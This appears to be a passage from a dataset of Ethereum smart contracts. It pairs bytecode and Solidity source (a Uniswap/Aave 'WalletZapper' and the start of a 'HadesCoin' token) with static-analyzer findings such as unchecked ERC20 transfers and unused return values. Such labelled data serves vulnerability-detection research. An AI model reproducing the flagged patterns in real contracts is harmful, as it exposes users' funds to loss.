6dd3a581692635909c0d5926004818101939291829003018186803b158015610aa857600080fd5b505afa158015610abc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae0919061163e565b610aea91906116d6565b610af491906116b6565b90506000620100005462010001547f000000000000000000000000ceff51756c56ceffca006cd410b03ffc46dd3a586001600160a01b0316635a3d54936040518163ffffffff1660e01b815260040160206040518083038186803b158015610b5b57600080fd5b505afa158015610b6f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b93919061163e565b610b9d91906116d6565b610ba791906116b6565b905060007f000000000000000000000000ceff51756c56ceffca006cd410b03ffc46dd3a586001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015610c0457600080fd5b505afa158015610c18573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c3c91906115d8565b63ffffffff1692505050836000015163ffffffff16811415610cce5761ffff8054600091610c6d91600291166116f5565b61ffff1661ffff8110610c9057634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b909104169082015293505b8351600090610ce39063ffffffff1683611718565b90508015610cf15780610cf4565b60015b90508a6001600160a01b0316866001600160a01b03161415610d3057610d2985602001516001600160701b031685838d611100565b9750610d4c565b610d4985604001516001600160701b031684838d611100565b97505b809650505050505050935093915050565b6000806000846001600160a01b0316876001600160a01b031610610d82578487610d85565b86855b5061ffff80549192506000918291610da091600191166116f5565b61ffff1690506000610db28783611718565b9050610dd7604080516060810182526000808252602082018190529181019190915290565b604080516060810182526000808252602082018190529181019190915260008c6001600160a01b0316876001600160a01b03161415610f27575b84841015610f2257610e2484600161169e565b905060008461ffff8110610e4857634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b9091041690820152925060008161ffff8110610ea757634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526001600160701b03600160201b830481166020808701829052600160901b909404821694860194909452918701518751949650610f0494921692916103c49161172f565b610f0e908761169e565b955083610f1a8161176e565b945050610e11565b611034565b8484101561103457610f3a84600161169e565b905060008461ffff8110610f5e57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b9091041690820152925060008161ffff8110610fbd57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526001600160701b03600160201b830481166020860152600160901b909204821684840181905292870151875194965061101694921692916103c49161172f565b611020908761169e565b95508361102c8161176e565b945050610f27565b61103e8a876116b6565b985060007f000000000000000000000000ceff51756c56ceffca006cd410b03ffc46dd3a586001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561109b57600080fd5b505afa1580156110af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d391906115d8565b855163ffffffff91821694506110ed935016905082611718565b9850505050505050505094509492505050565b600082620100015486866111149190611718565b61111e90856116d6565b61112891906116b6565b61113291906116b6565b95945050505050565b61ffff80546000918291829161115491600191166116f5565b61ffff1661ffff811061117757634e487b7160e01b600052603260045260246000fd5b6040805160608082018352939092015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b90910416828201528051630240bc6b60e21b815290519193506000926001600160a01b037f000000000000000000000000ceff51756c56ceffca006cd410b03ffc46dd3a581692630902f1ac926004818101939291829003018186803b15801561121457600080fd5b505afa158015611228573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061124c91906115d8565b84519093506000925061126091508361172f565b90506107088163ffffffff1611156114d0576000620100005462010001547f000000000000000000000000ceff51756c56ceffca006cd410b03ffc46dd3a586001600160a01b0316635909c0d56040518163ffffffff1660e01b815260040160206040518083038186803b1580156112d757600080fd5b505afa1580156112eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061130f919061163e565b61131991906116d6565b61132391906116b6565b90506000620100005462010001547f000000000000000000000000ceff51756c56ceffca006cd410b03ffc46dd3a586001600160a01b0316635a3d54936040518163ffffffff1660e01b815260040160206040518083038186803b15801561138a57600080fd5b505afa15801561139e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c2919061163e565b6113cc91906116d6565b6113d691906116b6565b6040805160608101825263ffffffff871681526001600160701b03808616602083015283169181019190915261ffff80549293509091600091908116908261141d8361174c565b91906101000a81548161ffff021916908361ffff16021790555061ffff1661ffff811061145a57634e487b7160e01b600052603260045260246000fd5b825191018054602084015160409094015163ffffffff90931671ffffffffffffffffffffffffffffffffffff1990911617600160201b6001600160701b03948516021771ffffffffffffffffffffffffffffffffffff16600160901b939092169290920217905550600194506109219350505050565b6000935050505090565b80356001600160a01b03811681146114f157600080fd5b919050565b80516001600160701b03811681146114f157600080fd5b600080600060608486031215611521578283fd5b61152a846114da565b92506020840135915061153f604085016114da565b90509250925092565b6000806000806080858703121561155d578081fd5b611566856114da565b93506020850135925061157b604086016114da565b9396929550929360600135925050565b600080600080600060a086880312156115a2578081fd5b6115ab866114da565b9450602086013593506115c0604087016114da565b94979396509394606081013594506080013592915050565b6000806000606084860312156115ec578283fd5b6115f5846114f6565b9250611603602085016114f6565b9150604084015163ffffffff8116811461161b578182fd5b809150509250925092565b600060208284031215611637578081fd5b5035919050565b60006020828403121561164f578081fd5b5051919050565b604080825283519082018190526000906020906060840190828701845b8281101561168f57815184529284019290840190600101611673565b50505092019290925292915050565b600082198211156116b1576116b1611789565b500190565b6000826116d157634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156116f0576116f0611789565b500290565b600061ffff8381169083168181101561171057611710611789565b039392505050565b60008282101561172a5761172a611789565b500390565b600063ffffffff8381169083168181101561171057611710611789565b600061ffff8083168181141561176457611764611789565b6001019392505050565b600060001982141561178257611782611789565b5060010190565b634e487b7160e01b600052601160045260246000fdfea264697066735822122039056c965452b2592e43896c73f4a11950bbadad965fe56f52e0fbe7eaad098264736f6c63430008030033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 3,903 |
0x54CFeE41A9760134aFd99d33443b6dF8088A9317
|
/**
*Submitted for verification at Etherscan.io on 2021-08-02
*/
pragma solidity 0.8.1;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma abicoder v2;
/// @title Router token swapping functionality
/// @notice Functions for swapping tokens via Uniswap V3
interface ISwapRouter {
struct ExactInputSingleParams {
address tokenIn;
address tokenOut;
uint24 fee;
address recipient;
uint256 deadline;
uint256 amountIn;
uint256 amountOutMinimum;
uint160 sqrtPriceLimitX96;
}
/// @notice Swaps `amountIn` of one token for as much as possible of another token
/// @param params The parameters necessary for the swap, encoded as `ExactInputSingleParams` in calldata
/// @return amountOut The amount of the received token
function exactInputSingle(ExactInputSingleParams calldata params) external payable returns (uint256 amountOut);
struct ExactInputParams {
bytes path;
address recipient;
uint256 deadline;
uint256 amountIn;
uint256 amountOutMinimum;
}
/// @notice Swaps `amountIn` of one token for as much as possible of another along the specified path
/// @param params The parameters necessary for the multi-hop swap, encoded as `ExactInputParams` in calldata
/// @return amountOut The amount of the received token
function exactInput(ExactInputParams calldata params) external payable returns (uint256 amountOut);
struct ExactOutputSingleParams {
address tokenIn;
address tokenOut;
uint24 fee;
address recipient;
uint256 deadline;
uint256 amountOut;
uint256 amountInMaximum;
uint160 sqrtPriceLimitX96;
}
/// @notice Swaps as little as possible of one token for `amountOut` of another token
/// @param params The parameters necessary for the swap, encoded as `ExactOutputSingleParams` in calldata
/// @return amountIn The amount of the input token
function exactOutputSingle(ExactOutputSingleParams calldata params) external payable returns (uint256 amountIn);
struct ExactOutputParams {
bytes path;
address recipient;
uint256 deadline;
uint256 amountOut;
uint256 amountInMaximum;
}
/// @notice Swaps as little as possible of one token for `amountOut` of another along the specified path (reversed)
/// @param params The parameters necessary for the multi-hop swap, encoded as `ExactOutputParams` in calldata
/// @return amountIn The amount of the input token
function exactOutput(ExactOutputParams calldata params) external payable returns (uint256 amountIn);
}
// NOTE: this interface lacks return values for transfer/transferFrom/approve on purpose,
// as we use the SafeERC20 library to check the return value
interface GeneralERC20 {
function transfer(address to, uint256 amount) external;
function transferFrom(address from, address to, uint256 amount) external;
function approve(address spender, uint256 amount) external;
function balanceOf(address spender) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
}
library SafeERC20 {
function checkSuccess()
private
pure
returns (bool)
{
uint256 returnValue = 0;
assembly {
// check number of bytes returned from last function call
switch returndatasize()
// no bytes returned: assume success
case 0x0 {
returnValue := 1
}
// 32 bytes returned: check if non-zero
case 0x20 {
// copy 32 bytes into scratch space
returndatacopy(0x0, 0x0, 0x20)
// load those bytes into returnValue
returnValue := mload(0x0)
}
// not sure what was returned: don't mark as success
default { }
}
return returnValue != 0;
}
function transfer(address token, address to, uint256 amount) internal {
GeneralERC20(token).transfer(to, amount);
require(checkSuccess(), "SafeERC20: transfer failed");
}
function transferFrom(address token, address from, address to, uint256 amount) internal {
GeneralERC20(token).transferFrom(from, to, amount);
require(checkSuccess(), "SafeERC20: transferFrom failed");
}
function approve(address token, address spender, uint256 amount) internal {
GeneralERC20(token).approve(spender, amount);
require(checkSuccess(), "SafeERC20: approve failed");
}
}
interface IAaveLendingPool {
function deposit(
address asset,
uint256 amount,
address onBehalfOf,
uint16 referralCode
) external;
function withdraw(
address asset,
uint256 amount,
address to
) external returns (uint256);
}
// Full interface here: https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Router01.sol
interface IUniswapSimple {
function WETH() external pure returns (address);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
// Decisions: will start with aave over compound (easier API - has `onBehalfOf`, referrals), compound can be added later if needed
// uni v3 needs to be supported since it's proving that it's efficient and the router is different
contract WalletZapper {
struct Trade {
IUniswapSimple router;
uint amountIn;
uint amountOutMin;
address[] path;
bool wrap;
}
struct DiversificationTrade {
address tokenOut;
uint24 fee;
uint allocPts;
uint amountOutMin;
bool wrap;
}
address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address public admin;
mapping (address => bool) public allowedSpenders;
IAaveLendingPool public lendingPool;
uint16 aaveRefCode;
constructor(IAaveLendingPool _lendingPool, uint16 _aaveRefCode, address[] memory spenders) {
admin = msg.sender;
lendingPool = _lendingPool;
aaveRefCode = _aaveRefCode;
allowedSpenders[address(_lendingPool)] = true;
for (uint i=0; i!=spenders.length; i++) {
allowedSpenders[spenders[i]] = true;
}
}
function approveMaxMany(address spender, address[] calldata tokens) external {
require(msg.sender == admin, "NOT_ADMIN");
require(allowedSpenders[spender], "NOT_ALLOWED");
for (uint i=0; i!=tokens.length; i++) {
SafeERC20.approve(tokens[i], spender, type(uint256).max);
}
}
function approve(address token, address spender, uint amount) external {
require(msg.sender == admin, "NOT_ADMIN");
require(allowedSpenders[spender], "NOT_ALLOWED");
SafeERC20.approve(token, spender, amount);
}
// Uniswap V2
// We're choosing not to implement a special function for performing a single trade since it's not that much of a gas saving compared to this
// We're also choosing not to implement a method like diversifyV3 which first trades the input asset to WETH and then WETH to whatever,
// because we expect diversifyV3 to be enough
// We can very easily deploy a new Zapper and upgrade to it since it's just a UI change
function exchangeV2(address[] calldata assetsToUnwrap, Trade[] memory trades) external {
for (uint i=0; i!=assetsToUnwrap.length; i++) {
lendingPool.withdraw(assetsToUnwrap[i], type(uint256).max, address(this));
}
address to = msg.sender;
uint deadline = block.timestamp;
uint len = trades.length;
for (uint i=0; i!=len; i++) {
Trade memory trade = trades[i];
if (!trade.wrap) {
trade.router.swapExactTokensForTokens(trade.amountIn, trade.amountOutMin, trade.path, to, deadline);
} else {
uint[] memory amounts = trade.router.swapExactTokensForTokens(trade.amountIn, trade.amountOutMin, trade.path, address(this), deadline);
uint lastIdx = trade.path.length - 1;
lendingPool.deposit(trade.path[lastIdx], amounts[lastIdx], to, aaveRefCode);
}
}
// @TODO are there ways to ensure there are no leftover funds?
}
// go in/out of lending assets
function wrapLending(address[] calldata assetsToWrap) external {
for (uint i=0; i!=assetsToWrap.length; i++) {
lendingPool.deposit(assetsToWrap[i], IERC20(assetsToWrap[i]).balanceOf(address(this)), msg.sender, aaveRefCode);
}
}
function unwrapLending(address[] calldata assetsToUnwrap) external {
for (uint i=0; i!=assetsToUnwrap.length; i++) {
lendingPool.withdraw(assetsToUnwrap[i], type(uint256).max, msg.sender);
}
}
// wrap WETH
function wrapETH() payable external {
// TODO: it may be slightly cheaper to call deposit() directly
payable(WETH).transfer(msg.value);
}
// Uniswap V3
function tradeV3(ISwapRouter uniV3Router, ISwapRouter.ExactInputParams calldata params) external returns (uint) {
return uniV3Router.exactInput(params);
}
function tradeV3Single(ISwapRouter uniV3Router, ISwapRouter.ExactInputSingleParams calldata params, bool wrapOutputToLending) external returns (uint) {
ISwapRouter.ExactInputSingleParams memory tradeParams = params;
address recipient = params.recipient;
if(wrapOutputToLending) {
tradeParams.recipient = address(this);
}
uint amountOut = uniV3Router.exactInputSingle(tradeParams);
if(wrapOutputToLending) {
lendingPool.deposit(params.tokenOut, amountOut, recipient, aaveRefCode);
}
return amountOut;
}
// @TODO: unwrap input from aToken?
function diversifyV3(ISwapRouter uniV3Router, address inputAsset, uint24 inputFee, uint inputMinOut, DiversificationTrade[] memory trades) external {
uint inputAmount;
if (inputAsset != address(0)) {
inputAmount = uniV3Router.exactInputSingle(
ISwapRouter.ExactInputSingleParams (
inputAsset,
WETH,
inputFee,
address(this),
block.timestamp,
IERC20(inputAsset).balanceOf(address(this)),
inputMinOut,
0
)
);
} else {
inputAmount = IERC20(WETH).balanceOf(address(this));
}
uint totalAllocPts;
uint len = trades.length;
for (uint i=0; i!=len; i++) {
DiversificationTrade memory trade = trades[i];
totalAllocPts += trade.allocPts;
if (!trade.wrap) {
uniV3Router.exactInputSingle(
ISwapRouter.ExactInputSingleParams (
WETH,
trade.tokenOut,
trade.fee,
msg.sender,
block.timestamp,
inputAmount * trade.allocPts / 1000,
trade.amountOutMin,
0
)
);
} else {
uint amountToDeposit = uniV3Router.exactInputSingle(
ISwapRouter.ExactInputSingleParams (
WETH,
trade.tokenOut,
trade.fee,
address(this),
block.timestamp,
inputAmount * trade.allocPts / 1000,
trade.amountOutMin,
0
)
);
lendingPool.deposit(trade.tokenOut, amountToDeposit, msg.sender, aaveRefCode);
}
}
IERC20 wrappedETH = IERC20(WETH);
uint wrappedETHAmount = wrappedETH.balanceOf(address(this));
// NOTE: what if there is dust?
if (wrappedETHAmount > 0) require(wrappedETH.transfer(msg.sender, wrappedETHAmount));
// require(totalAllocPts == 1000, "ALLOC_PTS");
}
function recoverFunds(IERC20 token, uint amount) external {
require(msg.sender == admin, "NOT_ADMIN");
token.transfer(admin, amount);
}
}
|
0x6080604052600436106100c25760003560e01c80637716bf411161007f578063c6e74ef911610059578063c6e74ef9146101e9578063d8528af014610209578063e1f21c6714610236578063f851a44014610256576100c2565b80637716bf411461019f578063a59a9973146101bf578063a85ef678146101e1576100c2565b80630daa9f10146100c75780630e3e3ef8146100fd578063262f78fb1461011f57806342b4e3f91461013f578063582529411461015f578063586097541461017f575b600080fd5b3480156100d357600080fd5b506100e76100e23660046118a4565b61026b565b6040516100f49190611beb565b60405180910390f35b34801561010957600080fd5b5061011d61011836600461145e565b6103bb565b005b34801561012b57600080fd5b5061011d61013a366004611724565b610536565b34801561014b57600080fd5b5061011d61015a36600461145e565b610b65565b34801561016b57600080fd5b5061011d61017a36600461149e565b610c3c565b34801561018b57600080fd5b5061011d61019a3660046116f9565b610f97565b3480156101ab57600080fd5b506100e76101ba366004611850565b611050565b3480156101cb57600080fd5b506101d46110d8565b6040516100f491906119df565b61011d6110e7565b3480156101f557600080fd5b5061011d61020436600461140b565b61112a565b34801561021557600080fd5b506102296102243660046113af565b6111ef565b6040516100f49190611a5c565b34801561024257600080fd5b5061011d6102513660046113cb565b611204565b34801561026257600080fd5b506101d4611271565b60008061027d368590038501856118fa565b9050600061029160808601606087016113af565b905083156102a0573060608301525b60405163414bf38960e01b81526000906001600160a01b0388169063414bf389906102cf908690600401611b82565b602060405180830381600087803b1580156102e957600080fd5b505af11580156102fd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103219190611990565b905084156103b1576002546001600160a01b031663e8eda9df61034a6040890160208a016113af565b60025460405160e084901b6001600160e01b031916815261037e929186918891600160a01b900461ffff1690600401611a2f565b600060405180830381600087803b15801561039857600080fd5b505af11580156103ac573d6000803e3d6000fd5b505050505b9695505050505050565b60005b808214610531576002546001600160a01b031663e8eda9df8484848181106103f657634e487b7160e01b600052603260045260246000fd5b905060200201602081019061040b91906113af565b85858581811061042b57634e487b7160e01b600052603260045260246000fd5b905060200201602081019061044091906113af565b6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040161046b91906119df565b60206040518083038186803b15801561048357600080fd5b505afa158015610497573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104bb9190611990565b33600260149054906101000a900461ffff166040518563ffffffff1660e01b81526004016104ec9493929190611a2f565b600060405180830381600087803b15801561050657600080fd5b505af115801561051a573d6000803e3d6000fd5b50505050808061052990611d27565b9150506103be565b505050565b60006001600160a01b0385161561069b5760408051610100810182526001600160a01b0387811680835273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2602084015262ffffff881683850152306060840181905242608085015293516370a0823160e01b8152918a169363414bf389939260a0840192916370a08231916105c291906004016119df565b60206040518083038186803b1580156105da57600080fd5b505afa1580156105ee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106129190611990565b8152602081018790526000604091820152516001600160e01b031960e084901b1681526106429190600401611b82565b602060405180830381600087803b15801561065c57600080fd5b505af1158015610670573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106949190611990565b9050610725565b6040516370a0823160e01b815273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2906370a08231906106d29030906004016119df565b60206040518083038186803b1580156106ea57600080fd5b505afa1580156106fe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107229190611990565b90505b8151600090815b818114610a3b57600085828151811061075557634e487b7160e01b600052603260045260246000fd5b6020026020010151905080604001518461076f9190611cb9565b9350806080015161089757896001600160a01b031663414bf38960405180610100016040528073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b0316815260200184600001516001600160a01b03168152602001846020015162ffffff168152602001336001600160a01b031681526020014281526020016103e885604001518a6108029190611cf1565b61080c9190611cd1565b8152606085015160208201526000604091820152516001600160e01b031960e084901b16815261083f9190600401611b82565b602060405180830381600087803b15801561085957600080fd5b505af115801561086d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108919190611990565b50610a28565b60008a6001600160a01b031663414bf38960405180610100016040528073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b0316815260200185600001516001600160a01b03168152602001856020015162ffffff168152602001306001600160a01b031681526020014281526020016103e886604001518b6109219190611cf1565b61092b9190611cd1565b8152606086015160208201526000604091820152516001600160e01b031960e084901b16815261095e9190600401611b82565b602060405180830381600087803b15801561097857600080fd5b505af115801561098c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b09190611990565b600254835160405163e8eda9df60e01b81529293506001600160a01b0382169263e8eda9df926109f4929186913391600160a01b90910461ffff1690600401611a2f565b600060405180830381600087803b158015610a0e57600080fd5b505af1158015610a22573d6000803e3d6000fd5b50505050505b5080610a3381611d27565b91505061072c565b506040516370a0823160e01b815273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc29060009082906370a0823190610a789030906004016119df565b60206040518083038186803b158015610a9057600080fd5b505afa158015610aa4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac89190611990565b90508015610b595760405163a9059cbb60e01b81526001600160a01b0383169063a9059cbb90610afe90339085906004016119f3565b602060405180830381600087803b158015610b1857600080fd5b505af1158015610b2c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5091906116dd565b610b5957600080fd5b50505050505050505050565b60005b808214610531576002546001600160a01b03166369328dec848484818110610ba057634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610bb591906113af565b600019336040518463ffffffff1660e01b8152600401610bd793929190611a0c565b602060405180830381600087803b158015610bf157600080fd5b505af1158015610c05573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c299190611990565b5080610c3481611d27565b915050610b68565b60005b808314610d13576002546001600160a01b03166369328dec858584818110610c7757634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610c8c91906113af565b600019306040518463ffffffff1660e01b8152600401610cae93929190611a0c565b602060405180830381600087803b158015610cc857600080fd5b505af1158015610cdc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d009190611990565b5080610d0b81611d27565b915050610c3f565b5080513390429060005b818114610f8e576000858281518110610d4657634e487b7160e01b600052603260045260246000fd5b602002602001015190508060800151610df85780516020820151604080840151606085015191516338ed173960e01b81526001600160a01b03909416936338ed173993610d9c939092918b908b90600401611bf4565b600060405180830381600087803b158015610db657600080fd5b505af1158015610dca573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610df2919081019061164d565b50610f7b565b80516020820151604080840151606085015191516338ed173960e01b81526000946001600160a01b0316936338ed173993610e3b93919230908c90600401611bf4565b600060405180830381600087803b158015610e5557600080fd5b505af1158015610e69573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610e91919081019061164d565b905060006001836060015151610ea79190611d10565b600254606085015180519293506001600160a01b039091169163e8eda9df919084908110610ee557634e487b7160e01b600052603260045260246000fd5b6020026020010151848481518110610f0d57634e487b7160e01b600052603260045260246000fd5b60200260200101518a600260149054906101000a900461ffff166040518563ffffffff1660e01b8152600401610f469493929190611a2f565b600060405180830381600087803b158015610f6057600080fd5b505af1158015610f74573d6000803e3d6000fd5b5050505050505b5080610f8681611d27565b915050610d1d565b50505050505050565b6000546001600160a01b03163314610fca5760405162461bcd60e51b8152600401610fc190611ac3565b60405180910390fd5b60005460405163a9059cbb60e01b81526001600160a01b038481169263a9059cbb92610ffe929091169085906004016119f3565b602060405180830381600087803b15801561101857600080fd5b505af115801561102c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061053191906116dd565b60405163c04b8d5960e01b81526000906001600160a01b0384169063c04b8d599061107f908590600401611ae6565b602060405180830381600087803b15801561109957600080fd5b505af11580156110ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d19190611990565b9392505050565b6002546001600160a01b031681565b60405173c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2903480156108fc02916000818181858888f19350505050158015611127573d6000803e3d6000fd5b50565b6000546001600160a01b031633146111545760405162461bcd60e51b8152600401610fc190611ac3565b6001600160a01b03831660009081526001602052604090205460ff1661118c5760405162461bcd60e51b8152600401610fc190611a67565b60005b8082146111e9576111d78383838181106111b957634e487b7160e01b600052603260045260246000fd5b90506020020160208101906111ce91906113af565b85600019611280565b806111e181611d27565b91505061118f565b50505050565b60016020526000908152604090205460ff1681565b6000546001600160a01b0316331461122e5760405162461bcd60e51b8152600401610fc190611ac3565b6001600160a01b03821660009081526001602052604090205460ff166112665760405162461bcd60e51b8152600401610fc190611a67565b610531838383611280565b6000546001600160a01b031681565b60405163095ea7b360e01b81526001600160a01b0384169063095ea7b3906112ae90859085906004016119f3565b600060405180830381600087803b1580156112c857600080fd5b505af11580156112dc573d6000803e3d6000fd5b505050506112e8611304565b6105315760405162461bcd60e51b8152600401610fc190611a8c565b6000803d801561131b576020811461132457611330565b60019150611330565b60206000803e60005191505b501515905090565b803561134381611d6e565b919050565b60008083601f840112611359578182fd5b50813567ffffffffffffffff811115611370578182fd5b602083019150836020808302850101111561138a57600080fd5b9250929050565b803561134381611d83565b803562ffffff8116811461134357600080fd5b6000602082840312156113c0578081fd5b81356110d181611d6e565b6000806000606084860312156113df578182fd5b83356113ea81611d6e565b925060208401356113fa81611d6e565b929592945050506040919091013590565b60008060006040848603121561141f578081fd5b833561142a81611d6e565b9250602084013567ffffffffffffffff811115611445578182fd5b61145186828701611348565b9497909650939450505050565b60008060208385031215611470578182fd5b823567ffffffffffffffff811115611486578283fd5b61149285828601611348565b90969095509350505050565b6000806000604084860312156114b2578081fd5b67ffffffffffffffff843511156114c7578081fd5b6114d48585358601611348565b909350915067ffffffffffffffff602085013511156114f1578081fd5b6020840135840185601f820112611506578182fd5b6115186115138235611c95565b611c64565b81358152602080820191908301845b843581101561163e578135850160a0818c03601f19011215611547578687fd5b61155160a0611c64565b61155e6020830135611d6e565b60208201358152604082013560208201526060820135604082015267ffffffffffffffff60808301351115611591578788fd5b608082013582018c603f8201126115a6578889fd5b6115b66115136020830135611c95565b8060208301358252602082019150604083018f60406020808701350286010111156115df578b8cfd5b8b5b602085013581101561160d576115f78235611d6e565b81358452602093840193909101906001016115e1565b5050606084015250611623905060a08301611391565b60808201528552506020938401939190910190600101611527565b50508093505050509250925092565b6000602080838503121561165f578182fd5b825167ffffffffffffffff811115611675578283fd5b8301601f81018513611685578283fd5b805161169361151382611c95565b81815283810190838501858402850186018910156116af578687fd5b8694505b838510156116d15780518352600194909401939185019185016116b3565b50979650505050505050565b6000602082840312156116ee578081fd5b81516110d181611d83565b6000806040838503121561170b578182fd5b823561171681611d6e565b946020939093013593505050565b600080600080600060a080878903121561173c578384fd5b863561174781611d6e565b955060208781013561175881611d6e565b95506117666040890161139c565b945060608801359350608088013567ffffffffffffffff811115611788578384fd5b8801601f81018a13611798578384fd5b80356117a661151382611c95565b81815283810190838501868402850186018e10156117c2578788fd5b8794505b8385101561183c5786818f0312156117dc578788fd5b6117e587611c64565b81356117f081611d6e565b81526117fd82880161139c565b878201526040820135604082015260608201356060820152608082013561182381611d83565b60808201528352600194909401939185019186016117c6565b508096505050505050509295509295909350565b60008060408385031215611862578182fd5b823561186d81611d6e565b9150602083013567ffffffffffffffff811115611888578182fd5b830160a08186031215611899578182fd5b809150509250929050565b60008060008385036101408112156118ba578182fd5b84356118c581611d6e565b9350610100601f19820112156118d9578182fd5b506020840191506101208401356118ef81611d83565b809150509250925092565b600061010080838503121561190d578182fd5b61191681611c64565b9050823561192381611d6e565b8152602083013561193381611d6e565b60208201526119446040840161139c565b604082015261195560608401611338565b60608201526080830135608082015260a083013560a082015260c083013560c082015261198460e08401611338565b60e08201529392505050565b6000602082840312156119a1578081fd5b5051919050565b6001600160a01b03169052565b60008284528282602086013780602084860101526020601f19601f85011685010190509392505050565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b0393841681526020810192909252909116604082015260600190565b6001600160a01b03948516815260208101939093529216604082015261ffff909116606082015260800190565b901515815260200190565b6020808252600b908201526a1393d517d0531313d5d15160aa1b604082015260600190565b60208082526019908201527f5361666545524332303a20617070726f7665206661696c656400000000000000604082015260600190565b6020808252600990820152682727aa2fa0a226a4a760b91b604082015260600190565b6000602082528235601e19843603018112611aff578182fd5b8301803567ffffffffffffffff811115611b17578283fd5b803603851315611b25578283fd5b60a06020850152611b3d60c0850182602085016119b5565b915050611b4c60208501611338565b611b5960408501826119a8565b506040840135606084015260608401356080840152608084013560a08401528091505092915050565b81516001600160a01b03908116825260208084015182169083015260408084015162ffffff16908301526060808401518216908301526080808401519083015260a0838101519083015260c0808401519083015260e09283015116918101919091526101000190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611c435784516001600160a01b031683529383019391830191600101611c1e565b50506001600160a01b03969096166060850152505050608001529392505050565b604051601f8201601f1916810167ffffffffffffffff81118282101715611c8d57611c8d611d58565b604052919050565b600067ffffffffffffffff821115611caf57611caf611d58565b5060209081020190565b60008219821115611ccc57611ccc611d42565b500190565b600082611cec57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d0b57611d0b611d42565b500290565b600082821015611d2257611d22611d42565b500390565b6000600019821415611d3b57611d3b611d42565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461112757600080fd5b801515811461112757600080fdfea2646970667358221220d30b4de7cf0a5eca29118471d938b6d16e9862ef2b8013967f7484082ae1a21364736f6c63430008010033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 3,904 |
0x7Ed172530F9822cd0573B895853E3f745f4108B4
|
pragma solidity ^0.4.20;
/* HadesCoin go to the moon
*
* $$ $$ $$$$$$ $$$$$$$$ $$$$$$$$$ $$$$$$$$
* $$ $$ $$ $$ $$ $$ $$ $$
* $$ $$ $$ $$ $$ $$ $$ $$
* $$$$$$$$ $$$$$$$$ $$ $$ $$$$$$$$$ $$$$$$$$
* $$ $$ $$ $$ $$ $$ $$ $$
* $$ $$ $$ $$ $$ $$ $$ $$
* $$ $$ $$ $$ $$$$$$$$ $$$$$$$$$ $$$$$$$$
*/
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
